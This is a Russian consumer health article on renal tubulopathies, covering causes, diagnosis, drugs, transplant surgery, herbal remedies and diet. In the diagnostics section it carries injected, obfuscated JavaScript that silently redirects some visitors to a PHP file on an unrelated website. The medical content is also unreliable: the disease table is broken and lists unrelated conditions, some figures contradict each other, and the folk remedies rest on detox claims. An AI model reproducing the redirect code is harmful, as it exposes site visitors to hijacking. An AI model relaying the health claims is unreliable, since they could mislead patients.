Почечные патологии — это крайне распространённое явление. Каждый год увеличивается количество людей, страдающих от различных разновидностей тубулопатий. Медики считают, что это напрямую связано с изменением характера питания, загрязнением окружающей среды (атмосферы и воды, почвы). Почечные тубулопатии оказывают негативное влияние на весь организм в целом и серьёзно ударяют по здоровью пациента, снижая продолжительность жизни. Именно поэтому так важно защитить себя от развития недуга и предотвратить его последствия.
Содержание
Что представляет собой тубулопатия почек
Тубулопатии — это различные по своей причине заболевания, объединённые общим механизмом повреждения почечных канальцев. При этом недуге нарушается процесс обратного всасывания полезных компонентов из урины, а также страдает фильтрация вредных веществ. Тубулопатии в равной степени подвержены люди любого возраста и пола, а последствия недуга могут привести к нарушению репродуктивных функций.
Основной действующей единицей почечной ткани является нефрон. Он состоит из клубочка капилляров, переплетённых между собой, а также системы восходящих и нисходящих канальцев и собирательной трубочки. Именно в них осуществляется фильтрация крови, циркулирующей в организме, забор из неё полезных веществ и образование мочи, которая служит для выведения токсинов. При тубулопатии, вызванной различными причинами, этот процесс нарушается. В результате большая часть вредных продуктов распада остаётся в организме.
Классификации заболевания в зависимости от характера поражения:
- первичные (перемещение полезных веществ и ионов нарушено только в мембранах — наружных оболочках клеток);
- вторичные (во всей почечной ткани нарушен транспорт веществ).
Разновидности тубулопатий по причине возникновения:
- врождённые (наследственно обусловленные патологии, сформировавшиеся ещё до появления ребёнка на свет);
- приобретённые (встречаются гораздо реже и возникают под действием внешних факторов окружающей среды).
Классификация заболевания по локализации повреждения канальцев:
- проксимальные (только ближайшие к центру почек отделы системы);
- дистальные (периферические и более отдалённые канальцы);
- общее поражение выделительного тракта.
Особенности наследственной тубулопатии
Подобная форма заболевания может передаваться двумя способами: аутосомно-доминантным (в этом случае достаточно 1 больного родителя), аутосомно-рецессивным (необходимо сочетание 2 людей-носителей мутантных генов), сцепленным с полом (страдают только мальчики или девочки). Клинические симптомы подобных заболеваний проявляются у пациентов с самого юного возраста и с течением жизни только нарастают. У 90% больных к 40 годам развивается хроническая почечная недостаточность, при которой они нуждаются в постоянном проведении гемодиализа (процедуры искусственного очищения крови с помощью специальных фильтров).
Таблица: особенности тубулопатий с различными синдромами
Ведущий клинический синдром | Название патологии | В чём заключается сущность заболевания | Дополнительные клинические признаки |
Избыточное выделение мочи (полиурия) | Нефронофтиз Фанкони | Проблема с синтезом одного из почечных белков, в результате чего происходит нарушение образования и выделения урины |
|
Пиелонефрит | Воспалительное поражение чашечно-лоханочной системы почек, сопровожающееся диффузным отёком лоханки и увеличением её в размерах |
|
|
Цистиноз | Накопление в почечной ткани в виде кристаллов аминокислоты цистина, которая негативно воздействует на канальцевую систему |
|
|
Дефицит кальция и фосфора (рахитоподобный синдром) | Целиакия | Нарушение способности ворсинок тонкого кишечника человека к всасыванию и переработке продуктов, содержащих в своём составе глютен (злаковая продукция) |
|
Зависимый от витамина Д рахит | Недостаточное пребывание в условиях солнечного света, нарушение всасывания витамина Д в желудочно-кишечном тракте, его дефицит в пище |
|
|
Гипофосфатазия | Недостаточное количество фермента (щелочной фосфатазы), которая отвечает за связывание кальция и фосфора и перенос его в структуру костной ткани |
|
|
Образование камней в различных отделах мочевыделительной системы | Болезнь Леша-Нихана | В организме пациента резко увеличивается образование мочевой кислоты — вещества, обладающего токсичным эффектом для почечных канальцев |
|
Кстантинурия, глицинурия, оксалоз | Выделение вместе с уриной аминокислот, а также отложение в почечном веществе солей оксалатов |
|
Тубулопатии в детском возрасте
У детей до 90% заболевания связано с наследственными формами недуга. Если хотя бы один из родителей малыша имел подобную патологию, шансы наследования увеличиваются в несколько десятков раз. Организм ребёнка имеет выраженные отличия от тела взрослого человека. Зачастую мочевыделительная система малыша не успевает полностью сформироваться, в результате чего клинические проявления недуга выражены гораздо интенсивнее.
При пальпации поясничной области у худых детей с подобным заболеванием можно обнаружить увеличенные и частично деформированные почки. Это также является признаком развития одной из наследственных форм патологии.
У детей первым симптомом возникновения тубулопатии служит нарушение оттока урины и отставание в развитии от сверстников. Маленькие пациенты испытывают существенный дискомфорт при попытке помочиться, в результате чего приучение к горшку может стать для ребёнка стрессом. Мальчики и девочки с подобными синдромами нередко вынуждены посещать коррекционный класс в школе, так как гораздо хуже поддаются обучению и медленнее усваивают информацию. Внешние проявления тубулопатии сопровождают только рахитоподобную форму недуга.
Основные причины возникновения болезни
До 60% всех тубулопатий имеют наследственный характер. Это напрямую связано с появлением в генетическом коде одного из предков человека определённой мутации, в результате которой нарушается нормальная работа почечных канальцев. Такая патология наследуется из поколения в поколение, в результате чего даже отдалённые друг от друга родственники могут являться носителями недуга. Приобретённые тубулопатии возникают под воздействием следующих факторов:
- недостаточное количество ультрафиолетового облучения и дефицит витамина Д;
- проживание в экологически неблагоприятной обстановке (радиоактивные и химические выбросы и загрязнения);
- неправильное питание с избытком животных белков, соли и жиров;
- вредные привычки;
- сахарный диабет 1 и 2 типа;
- заболевания соединительной ткани (муковисцидоз);
- непереносимость злаковых продуктов;
- злоупотребление медикаментозными препаратами без врачебных назначений;
- дефицит или избыток массы тела;
- травматическое повреждение поясничной области;
- злокачественные или доброкачественные новообразования мочевыделительной системы;
- воспалительные патологии почек (нефрит, гломерулонефрит, пиелонефрит).
Методы диагностики тубулопатий
Если вы подозреваете наличие у себя или близких людей подобного заболевания, следует обратиться к терапевту. Доктор этого профиля выяснит симптомы и направит пациента на дальнейшую консультацию к нефрологу или урологу. При беседе с врачом следует как можно подробнее рассказать о появлении первых признаков недуга и их клинических особенностях.
Если у ваших родственников были какие-то проблемы с почками, следует сказать об этом доктору. Возможно, недуг имеет наследственный характер.
Чаще всего при общем обследовании у пациентов с синдромом нарушений скелета ярко выражены внешние проявления, на основании которых можно поставить диагноз тубулопатии. К ним относят:
- впалую или бочкообразную форму грудной клетки;
- образование утолщений на рёбрах;
- искривление фаланг пальцев на руках и запястий;
- Х-образные и О-образные деформации нижних конечностей;
- уплощение черепа;
- выраженный сколиоз позвоночника.
Фотогалерея: внешние признаки тубулопатии с рахитоподобным синдромом
- Пиелонефрит — это воспалительное изменение чашечно-лоханочной системы
- Гнойные процессы в почках развиваются при присоединении микробов
- Нефросклероз — разрастание соединительного вещества, приводящее к сморщиванию органа
- Овощи и фрукты — источник витаминов
- Молочные продукты богаты кальцием
- Овсянка — сытный и питательный завтрак
- Крапива убивает бактерии
- Алтей обладает мочегонным эффектом
- Брусника способствует гибели бактерий
- Кальций Д-3 Никомед восстанавливает уровень кальция в организме
- Нимесил снимает отёк и воспаление мягких тканей
- Ацесоль выводит токсины
- Фуросемид выводит из организма жидкость
- Дополнительный орган находится ниже обычного расположения почек
- Избавиться от подобного дефекта можно с помощью хирурга
- Для малышей характерна деформация конечностей, грудной клетки и рёбер
- Х-образная деформация ног — следствие дефицита витамина Д
- На снимке видно нарушение оттока мочи
- Для понимания сути недуга необходимо знать строение нефрона
Методики выявления заболевания:
- исследование уровня кальция, фосфора крови: при наличии тубулопатии с рахитоподобным синдромом наблюдается их понижение;
- биохимический анализ мочи: выявление глюкозы и большого количества солей свидетельствует о нефролитиазе (склонности к образованию камней);
- общий анализ мочи позволяет оценить физические свойства урины: при заболевании она более мутная за счёт примесей лейкоцитов, белка и песка;
- генетическое типирование биологического материала может обнаружить различные элементы мутации в хромосомах пациента;
- ультразвуковая диагностика помогает визуализировать строение органа и выявляет наличие некоторых видов камней, инородных тел и различных образований;
- экскреторная урография (создание серии рентгеновских снимков после введения в организм контраста) способствует обнаружению нарушенного тока урины, что может быть связано с патологией не только канальцев, но и мочеточников.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5bfc10decf408.jpg» alt=»Урография» width=»670″ height=»893″ /> На снимке видно нарушение оттока мочи
Различные варианты лечения болезни
При развитии первых признаков патологии и последующем подтверждении диагноза пациента госпитализируют в отделение урологии или нефрологии. При отсутствии тяжёлых проявлений почечной недостаточности медики ограничиваются назначением постельного режима, фармацевтических препаратов и специальной диеты с малым количеством соли. Хирургическое лечение основано на пересадке почки от донора к реципиенту (пациенту) и проводится только при выраженных нарушениях деятельности организма. К основным целям терапии при тубулопатии относят:
- нормализацию работы мочевыделительной системы;
- профилактику развития гнойно-септических осложнений;
- укрепление иммунитета;
- защиту почек от перегрузки и образования камней;
- стабилизацию артериального давления и выделения урины.
Фармацевтические препараты для устранения симптомов недуга
Чтобы избавиться от основных синдромов заболевания и добиться стабилизации общего состояния, доктора назначают применение медикаментозной терапии всем пациентам с тубулопатией. Препараты выпускаются в форме капсул, таблеток, ампул с растворами или порошками для различного вида инъекций. Не забывайте, что все необходимые дозировки и количество приёмов назначает только доктор, обладающий специальными знаниями в этой области. Самолечение может стать причиной развития осложнений.
Какие средства используются для лечения тубулопатии:
- Диуретики. Эти препараты способствуют выведению жидкости из организма, а также устраняют её накопление в различных органах и тканях. Их назначают преимущественно для борьбы с синдромом полиурии при тубулопатиях. К медикаментам этой группы относят: Спиронолактон, Верошпирон, Индапамид, Фуросемид, Амилорид.
- Дезинтоксикационные растворы используются при всех разновидностях тубулопатии, так как выводят из почек вредные вещества и нормализуют работу канальцев. К ним относят: Реамберин, Реполиглюкин, Натрия бикарбонат, глюкозу, Глюкосолан, Тисоль, Ацесоль.
- Нестероидные противовоспалительные препараты способствуют уменьшению воспаления и снимают болевой синдром. Их широко применяют при тубулопатии, связанной с образованием камней в мочевыделительной системе. С этой целью назначают: Индометацин, Нимесулид, Нимесил, Аспирин, Парацетамол.
- Препараты кальция и фосфора применяются при тубулопатии, ассоциированной с повреждениями скелета и дефицитом витамина Д. Для этого доктора используют: Кальций Д3-Никомед, Холекальциферол, витамин Д, Фитин, Фосфор активный.
Фотогалерея: препараты для борьбы с различными формами тубулопатии
- Пиелонефрит — это воспалительное изменение чашечно-лоханочной системы
- Гнойные процессы в почках развиваются при присоединении микробов
- Нефросклероз — разрастание соединительного вещества, приводящее к сморщиванию органа
- Овощи и фрукты — источник витаминов
- Молочные продукты богаты кальцием
- Овсянка — сытный и питательный завтрак
- Крапива убивает бактерии
- Алтей обладает мочегонным эффектом
- Брусника способствует гибели бактерий
- Кальций Д-3 Никомед восстанавливает уровень кальция в организме
- Нимесил снимает отёк и воспаление мягких тканей
- Ацесоль выводит токсины
- Фуросемид выводит из организма жидкость
- Дополнительный орган находится ниже обычного расположения почек
- Избавиться от подобного дефекта можно с помощью хирурга
- Для малышей характерна деформация конечностей, грудной клетки и рёбер
- Х-образная деформация ног — следствие дефицита витамина Д
- На снимке видно нарушение оттока мочи
- Для понимания сути недуга необходимо знать строение нефрона
Хирургическое лечение проблемы
Если консервативная терапия не приносит ожидаемого результата, у пациента уже через несколько лет развивается почечная недостаточность. Это состояние сопровождается интоксикацией организма и приводит к неблагоприятным последствиям (вплоть до комы). Единственным способом для увеличения продолжительности жизни такого больного является трансплантация почки.
Подбор донора осуществляется для каждого реципиента индивидуальноисходя из особенностей его организма и группы крови.
Операция проводится в несколько этапов:
- Заготовка органа для трансплантации. Донор погружается в медикаментозный сон под действием анестезии, после чего доктор проводит разрез в поясничной области, накладывает зажимы за сосуды и мочеточник, а затем отсекает почку. Рана послойно ушивается. Орган тщательно изучают и помещают в специальный пакет или холодильную камеру.
- Параллельно с этим реципиент также подвергается действию анестезии. Хирург рассекает мягкие ткани в области поясницы и осуществляет доступ с той стороны, где будет пришит новый орган. Трансплантируемую почку перемещают из специального хранилища, соединяют её мочеточник с мочевым пузырём. При этом повреждённые органы также оставляют в теле человека.
- Рана последовательно ушивается, в углы устанавливается дренаж для оттока патологического содержимого. Пациент в течение нескольких недель находится под присмотром врачей, чтобы избежать реакции отторжения трансплантата.
Народные средства для борьбы с патологией
Если в ближайшее время вы не можете обратиться за помощью к доктору либо в аптеке нет подходящих препаратов, можно использовать природные рецепты. Различные растения и травы также обладают целебными свойствами, которые успешно назначаются в народной медицине для борьбы с неприятными симптомами тубулопатии. Однако не стоит забывать, что при применении подобных средств также требуется консультация специалиста: они имеют противопоказания к приёму и могут вызывать нежелательные аллергические реакции.
Самые популярные народные рецепты для борьбы с патологией:
- 10 грамм аптечного алтея смешайте с таким же количеством семян укропа и измельчённой петрушки. Поместите их в кастрюлю с литром воды и варите не менее 30 минут. После остывания процедите жидкость через сито, чтобы удалить остатки растительного сырья. Пейте по 1 стакану за 10 минут до каждого приёма пищи. Такая процедура позволяет эффективно удалить из организма токсичные вещества и шлаки, так как эти растения обладают мочегонным эффектом. Рекомендуется лечиться подобным способом не чаще 1 раза в неделю.
- 30 грамм брусники и ежевики смешайте с 10 граммами натурального мёда и поместите в ёмкость с 1,5 литрами воды. Варите около получаса, после остывания добавьте 10 капель лимонного сока. Пейте по 1 стакану утром и вечером. Брусника, ежевика и мёд обладают антисептической активностью, что позволяет защитить организм от присоединения вредных бактерий. При этом ягоды также являются дополнительным источником витаминов и повышают иммунитет. Использовать такое средство нужно не менее четырёх раз в неделю.
- 2 столовые ложки измельчённых стеблей крапивы с вечера заварите стаканом кипятка и накройте блюдцем. Утром следующего дня выпейте настой перед завтраком. Крапива способствует нормализации функции почек, устраняет отёчность и воспаление мягких тканей. Применять этот настой необходимо ежедневно на протяжении двух недель, чтобы добиться желаемого результата.
Фотогалерея: народные средства для борьбы с патологией
- Пиелонефрит — это воспалительное изменение чашечно-лоханочной системы
- Гнойные процессы в почках развиваются при присоединении микробов
- Нефросклероз — разрастание соединительного вещества, приводящее к сморщиванию органа
- Овощи и фрукты — источник витаминов
- Молочные продукты богаты кальцием
- Овсянка — сытный и питательный завтрак
- Крапива убивает бактерии
- Алтей обладает мочегонным эффектом
- Брусника способствует гибели бактерий
- Кальций Д-3 Никомед восстанавливает уровень кальция в организме
- Нимесил снимает отёк и воспаление мягких тканей
- Ацесоль выводит токсины
- Фуросемид выводит из организма жидкость
- Дополнительный орган находится ниже обычного расположения почек
- Избавиться от подобного дефекта можно с помощью хирурга
- Для малышей характерна деформация конечностей, грудной клетки и рёбер
- Х-образная деформация ног — следствие дефицита витамина Д
- На снимке видно нарушение оттока мочи
- Для понимания сути недуга необходимо знать строение нефрона
Рекомендации по питанию для больных с почечной тубулопатией
Чтобы уменьшить вероятность развития нежелательных осложнений во время прохождения курса лечения и в период реабилитации, необходимо снизить нагрузку на мочевыделительную систему. Это достигается путём нормализации рациона пациентов. Медики рекомендуют использовать минимальное количество соли (до 5 грамм в сутки) при готовке, а также не добавлять масло, майонез и острые соусы. Блюда лучше запекать, отваривать и тушить, чтобы в них осталось как можно больше полезных веществ. Для восстановления водно-солевого баланса стоит употреблять не менее двух литров жидкости ежедневно.
Примерное меню питания для пациентов с тубулопатией:
- Завтрак. Овсяная каша на молоке с добавлением половины банана, ломтика горького шоколада. Тост из цельнозернового хлеба с адыгейским сыром. В качестве напитка — зелёный чай или домашний ягодный морс.
- Обед. Постный суп с добавлением нежирной свинины или говядины. Салат из рубленой капусты и тёртой морковки. На второе — гречка с паровой куриной котлетой.
- Ужин. Овощи гриль в сочетании со стейком из форели или минтая. Салат из свежих помидор и огурцов, заправленный сметаной.
- Перекус. Творог, йогурт или кефир с любыми ягодами, сухофруктами или мюслями.
Фотогалерея: полезная еда
- Пиелонефрит — это воспалительное изменение чашечно-лоханочной системы
- Гнойные процессы в почках развиваются при присоединении микробов
- Нефросклероз — разрастание соединительного вещества, приводящее к сморщиванию органа
- Овощи и фрукты — источник витаминов
- Молочные продукты богаты кальцием
- Овсянка — сытный и питательный завтрак
- Крапива убивает бактерии
- Алтей обладает мочегонным эффектом
- Брусника способствует гибели бактерий
- Кальций Д-3 Никомед восстанавливает уровень кальция в организме
- Нимесил снимает отёк и воспаление мягких тканей
- Ацесоль выводит токсины
- Фуросемид выводит из организма жидкость
- Дополнительный орган находится ниже обычного расположения почек
- Избавиться от подобного дефекта можно с помощью хирурга
- Для малышей характерна деформация конечностей, грудной клетки и рёбер
- Х-образная деформация ног — следствие дефицита витамина Д
- На снимке видно нарушение оттока мочи
- Для понимания сути недуга необходимо знать строение нефрона
Видео: Елена Малышева рассказывает о продуктах, которые наносят вред почкам
Прогнозы относительно выздоровления и вероятные осложнения заболевания
Наследственные тубулопатии не подлежат полному излечению. Благодаря медикаментам и проведению специфических операций докторам удаётся на время стабилизировать состояние пациента и ввести его в устойчивую ремиссию. Другие формы тубулопатии можно вылечить путём устранения действующего фактора. Для полного или частичного восстановления деятельности мочевыделительной системы может понадобиться от 6 месяцев до полутора лет. На интенсивность течения процессов регенерации оказывают влияние следующие факторы: возраст пациента, его пол, наличие других острых или хронических патологий или инфекций.
У детей, подростков и молодых людей (до 25 лет) вероятность полного восстановления деятельности мочевыделительной системы в несколько раз выше, чем у остальных групп населения. Это напрямую связано с высокой скоростью обменных процессов.
Какие осложнения могут сформироваться у пациентов с подобным недугом:
- острая и хроническая недостаточность почек (патология, при которой страдает весь организм из-за неспособности почек к фильтрации урины);
- уремическая интоксикация и кома (накопление в слизистых оболочках различных органов мочевины и аммиака);
- развитие острых воспалительных заболеваний чашечно-лоханочной системы (пиелонефрит), мочевого пузыря (цистит), уретры (уретрит);
- проблемы с вынашиванием ребёнка и трудности при зачатии, преждевременные роды и выкидыши (у женщин);
- гнойные процессы почек (флегмона, карбункул, абсцесс);
- анемический синдром — снижение уровня красных кровяных клеток и гемоглобина;
- деформация и сморщивание чашечно-лоханочной системы;
- разрастание соединительного вещества на месте повреждения (нефросклероз).
Фотогалерея: нежелательные последствия недуга
- Пиелонефрит — это воспалительное изменение чашечно-лоханочной системы
- Гнойные процессы в почках развиваются при присоединении микробов
- Нефросклероз — разрастание соединительного вещества, приводящее к сморщиванию органа
- Овощи и фрукты — источник витаминов
- Молочные продукты богаты кальцием
- Овсянка — сытный и питательный завтрак
- Крапива убивает бактерии
- Алтей обладает мочегонным эффектом
- Брусника способствует гибели бактерий
- Кальций Д-3 Никомед восстанавливает уровень кальция в организме
- Нимесил снимает отёк и воспаление мягких тканей
- Ацесоль выводит токсины
- Фуросемид выводит из организма жидкость
- Дополнительный орган находится ниже обычного расположения почек
- Избавиться от подобного дефекта можно с помощью хирурга
- Для малышей характерна деформация конечностей, грудной клетки и рёбер
- Х-образная деформация ног — следствие дефицита витамина Д
- На снимке видно нарушение оттока мочи
- Для понимания сути недуга необходимо знать строение нефрона
Видео: доктор рассказывает о почечной недостаточности как об одном из основных осложнений
Как защитить себя от развития тубулопатии
Заболевания почек оказывают существенное влияние на жизнь и здоровье человека, а также могут представлять собой угрозу для репродуктивной функции организма. Именно поэтому многие доктора считают, что проще предотвратить тубулопатии на ранней стадии развития, чем заниматься их лечением. С целью массовой профилактики врачи терапевтических специальностей осуществляют медицинские осмотры, направленные на своевременное выявление больных с подобным недугом.
Правила индивидуальной профилактики заболевания:
- питайтесь преимущественно здоровыми продуктами с минимальным содержанием вредных химических добавок, красителей и подсластителей, а также избегайте консервантов;
- откажитесь от употребления алкогольных напитков, курения и приёма наркотических препаратов;
- регулярно занимайтесь спортом и ведите активный образ жизни (ежедневная ходьба пешком не менее 10 тысяч шагов, прогулки на свежем воздухе, плавание);
- соблюдайте правила личной гигиены (утренний и вечерний душ помогут избавиться от микробов);
- принимайте витаминные и минеральные добавки, а также лекарственные средства только по назначению доктора;
- ставьте необходимые прививки соответственно возрасту, чтобы избежать неприятных последствий вирусных и бактериальных инфекций;
- ежегодно сдавайте анализы мочи и крови, чтобы вовремя обнаружить развитие опасных заболеваний;
- защищайте поясничную область от ударов и повреждений;
- не переохлаждайтесь и всегда носите тёплую одежду, прикрывающую поясничную область;
- регулярно измеряйте артериальное давление и следите за его подъёмами и перепадами.
Не забывайте, что начинать терапию различных видов почечной тубулопатии нужно сразу же после подтверждения диагноза. Только таким образом вы сможете защитить себя от прогрессирования недуга и развития острой или хронической недостаточности почек и других грозных осложнений. Не пытайтесь лечиться самостоятельно: некоторые виды тубулопатии требуют хирургического вмешательства. А также всегда помните о необходимости профилактики: правильно питаться, заниматься физическими нагрузками, регулярно сдавать анализы мочи и крови нужно даже после полного выздоровления.